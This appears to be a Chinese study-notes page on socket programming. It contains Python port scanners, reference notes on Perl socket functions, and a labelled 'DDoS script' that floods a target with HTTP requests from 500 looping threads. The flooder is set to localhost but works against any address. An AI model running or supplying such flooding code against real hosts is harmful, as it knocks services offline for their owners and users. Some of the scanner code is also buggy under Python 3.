目录

端口扫描

DDos脚本


端口扫描

import socket
host="IP"
for port in range(49999,50001): #范围随便写
    try:
        s=socket.socket()
        print("[+]connect to "+ host +':'+ str(port))
        s.connect((host,port))
        s.send("scan")
        banner=s.recv(1024)
        if banner:
            print("[+] port"+str(port)+"open:\n"+banner)
            s.close()
    except :
        pass
import socket
import threading
from queue import Queue
target="IP"
queue=Queue()
open_port=[]
def portscan(port):
    try:
        sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        sock.connect((target,port))
        return True
    except:
        return False
def fill_queue(port_list):
    for port in port_list:
        queue.put(port) #在队列中插入prot_list
def worker():
    while not queue.empty(): #判断队列是否为空的,如果为空则返回true。
        port=queue.get() #依次从队列中取出插入的元素
        if portscan(port): #调用函数portscan(),依次传入0~1023的端口号
            print("port {} is open!".format(port))
            open_port.append(port)

port_list=range(1,1024)
fill_queue(port_list)  #调用fill_queue(),依次插入元素0~1023
thread_list=[] #定义一个空列表
for t in range(10):
    thread=threading.Thread(target=worker) #线程执行函数worker()
    thread_list.append(thread)
for thread in thread_list:
    thread.start() #线程开始执行
    for thread in thread_list:
        thread.join() #join方法将挂起调用线程的执行,直到被调用的对象完成它的执行。
        
print("open ports are:",open_port)

服务端 socket 函数

1.socket 函数

        Perl 中,我们用 socket()函数来创建套接字,语法格式如下:

        socket( SOCKET, DOMAIN, TYPE, PROTOCOL );

  • DOMAIN 创建的套接字指定协议集。 例如:
  • AF_INET 表示IPv4网络协议
  • AF_INET6 表示IPv6
  • AF_UNIX 表示本地套接字(使用一个文件)
  • TYPE 套接字类型可以根据是面向连接的还是非连接分为SOCK_STREAM或SOCK_DGRAM
  • PROTOCOL 应该是 (getprotobyname('tcp'))[2]。指定实际使用的传输协议。

2.bind() 函数

        使用 bind() 为套接字分配一个地址:

        bind( SOCKET, ADDRESS );

        SOCKET 一个socket的描述符。 ADDRESS 是 socket 地址 ( TCP/IP ) 包含了三个元素:

  • 地址簇 (TCP/IP, 是 AF_INET, 在你系统上可能是 2)
  • 端口号 (例如 21)
  • 网络地址 (例如 10.12.12.168)

        使用socket()创建套接字后,只赋予其所使用的协议,并未分配地址。在接受其它主机

        的连接前,必须先调用bind()为套接字分配一个地址。

3.listen() 函数

        当socket和一个地址绑定之后,listen()函数会开始监听可能的连接请求。然而,这只能

        在有可靠数据流保证的时候使用:

        listen( SOCKET, QUEUESIZE );

        SOCKET : 一个socket的描述符。

        QUEUESIZE : 是 一个决定监听队列大小的整数,当有一个连接请求到来,就会进入此

        监听队列;当一个连接请求被accept()接受,则从监听队列中移出;当队列满后,新的

        连接请求会返回错误。

        一旦连接被接受,返回0表示成功,错误返回-1。

4.accept() 函数

        accept() 函数接受请求的socket连接。如果成功则返回压缩形式的网络地址,否则返回

        FALSE:

        accept( NEW_SOCKET, SOCKET );

        NEW_SOCKET : 一个socket的描述符。

        SOCKET : 一个socket的描述符。

        accept() 通常应用在无限循环当中:

        while(1) {          accept( NEW_SOCKET, SOCKT );         .......         }         以上实例可以实时监听客户端的请求。

客户端函数

1.connect() 函数

        connect()系统调用为一个套接字设置连接,参数有文件描述符和主机地址。

        connect( SOCKET, ADDRESS );

DDos脚本

import socket
import threading

target='127.0.0.1'
port=50000
fake_ip='132.0.3.4'
# already_connected=0
def attack():
    while True:
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect((target,port))
        s.sendto(("GET /"+target+"HTTP/1.1\r\n").encode('ascii'),(target,port))
        s.sendto(("Host:"+fake_ip+"\r\n\r\n").encode('ascii'),(target,port))
        s.close()

        # global already_connected
        # already_connected+=1
        # if already_connected %500==0:
        #     print(already_connected)

for i in range(500):
    thread=threading.Thread(target=attack)  #线程执行方法接收的参数
    thread.start() #启动线程,即让线程开始执行

一般情况下:

send(),recv()用于TCP,sendto()及recvfrom()用于UDP

但是send(),recv()也可以用于UDP,sendto()及recvfrom()也可以用于TCP

sendto可以在参数中指定发送的目标地址,可用于无连接的,send需要socket已建立了连接